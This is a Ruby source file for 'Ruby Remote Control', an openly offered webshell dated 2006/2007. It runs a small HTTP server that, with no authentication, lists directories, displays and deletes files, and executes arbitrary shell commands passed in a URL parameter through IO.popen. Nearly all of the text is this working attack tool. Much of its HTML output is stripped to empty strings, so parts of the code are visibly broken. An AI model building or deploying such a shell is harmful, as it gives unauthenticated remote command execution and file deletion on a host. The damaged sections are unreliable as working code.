#!/usr/bin/env ruby
# Author: SkyOut
# Date: 2006/2007
# Website: http://wired-security.net/
# Coded under: OpenBSD 4.0
# Ruby version: 1.8.4
# As this tool is very basic it only uses two standard
# classes, which should make it portable and usable
# everywhere
require 'socket'
require 'cgi'
# Default port is 9000 if the user does not specify
# another one
port = ARGV[0] || 9000
server = TCPServer.new('127.0.0.1', port)
# This will be displayed before the shell is started
# and will only be displayed in the shell
puts
puts
puts "+-----------------------------------------------+"
puts "|\t\t\t\t\t\t||"
puts "|\t[RRC] Ruby Remote Control\t\t||"
puts "|\tby SkyOut\t\t\t\t||"
puts "|\t\t\t\t\t\t||"
puts "|\tStarting the webshell on #{port}...\t||"
puts "|\t\t\t\t\t\t||"
puts "|\t-> Fighting for freedom or\t\t||"
puts "|\tdying in oppression! <-\t\t\t||"
puts "|\t\t\t\t\t\t||"
puts "+-----------------------------------------------+|"
puts " ------------------------------------------------+"
puts
puts
# The main code goes here ...
while (s = server.accept)
s.print "HTTP/1.1 200/OK\r\nContent-type: text/html\r\n\r\n"
s.print "
Ruby Remote Control [RRC]\r\n\r\n"
# These are the used CSS styles, which makes it easy to change and
# edit the style of the webshell (its colors)
s.print "\r\n"
s.print "\r\n"
s.print "\r\n\r\n"
s.print "\r\n\r\n"
s.print "\r\n"
s.print " \r\n"
s.print "\r\n\r\n"
# The input field used for the directory listing
s.print "\r\n"
s.print "\r\n"
s.print "\r\n\r\n"
# The input field used for the command execution
s.print "\r\n"
s.print "\r\n"
s.print "\r\n\r\n"
# Sometimes it can happen, that Ruby identifies files differently, for example .mp3 files
# will be shown as executables or .core files will be shown as normal files and more. To
# make sure those special files can not be opened (do not get a " [+] " next to their name)
# edit the array below.
do_not_open = Array.new
do_not_open = [".wmv", ".mpg", ".mpeg", ".avi", ".divx", ".mp4", ".mp3", ".ogg", ".flac", ".gif", ".png", ".jpg", ".jpeg", ".core"]
# As mentioned above with the files, this is an array of file types, that shall be shown
# as normal files and therefore it should be able to open them (like script files)
do_open = Array.new
do_open = [".sh", ".ksh", ".bash", ".csh", ".perl", ".tcl", ".rb", ".pl", ".py"]
# The GET request to the server will be put into an array to filter out the
# parts that we will use later
get = s.gets
get = get.split(' ')
get = get.fetch(1)
get = get.split('=')
# This will be ?open_dir, ?open_file, ?delete_file or ?cmd_exec
command = get[0]
# This will contain the value after the " = " sign, example: ?open_dir=/home
value = get[1]
# The code for a directory listing goes here ...
# Remember: In every function we use the CGI class to escape special
# characters, for example " ?open_dir=/home/some%20name " will become
# " ?open_dir=/home/some name "
if (command == "/?open_dir") && (value != nil)
dir = CGI.unescape(value)
# Make sure the users input really calls an existing directory
if (File.directory?(dir))
# Make sure we have the right privileges to read it
if (File.stat(dir).readable?)
s.print "\r\n\r\n"
else
s.print "You do not have permissions to read: #{dir}\r\n\r\n"
end
else
s.print "Directory does not exist!\r\n\r\n"
end
# If the user leaves the input field for the directory listing empty
# a help dialogue will be opened
elsif (command == "/?open_dir") && (value == nil)
s.print "\r\n\r\n"
# The code for the function to display a files content goes here ...
elsif (command == "/?open_file") && (value != nil)
file = CGI.unescape(value)
# Make sure the file is valid and exists
if (File.file?(file))
# Make sure we have the right privileges to read it
if(File.readable?(file))
# A new fieldset is opened and every line of the file is displayed
# separately in this fieldset
s.print "\r\n\r\n"
else
s.print "You do not have permissions to read: #{file}\r\n\r\n"
end
else
s.print "This is not a file or it does not exist: #{file}\r\n\r\n"
end
# The code for the function to delete a file goes here ...
elsif (command == "/?delete_file") && (value != nil)
file = CGI.unescape(value)
# Make sure the file is valid and exists
if (File.file?(file))
# Make sure we have the right privileges to delete it
if (File.writable?(file))
# Finally delete the file and print a short message
File.delete(file)
s.print "File deleted succcessfully: #{file}\r\n\r\n"
else
s.print "You do not have the permissions to delete: #{file}\r\n\r\n"
end
else
s.print "This is not a file or it does not exist: #{file}\r\n\r\n"
end
# The code for the command execution goes here ...
elsif (command == "/?cmd_exec") && (value != nil)
cmd = CGI.unescape(value)
result = IO.popen("#{cmd}")
s.print "\r\n\r\n"
# If the user leaves the input field for the command execution empty
# a help dialogue will be opened
elsif (command == "/?cmd_exec") && (value == nil)
s.print "\r\n\r\n"
# If nothing of the above matches occur an index like page will be opened, that
# displays basic information about the shell and its functionality
else
s.print "\r\n\r\n"
s.print "\r\n\r\n"
end
s.print ""
s.close
end # We are done!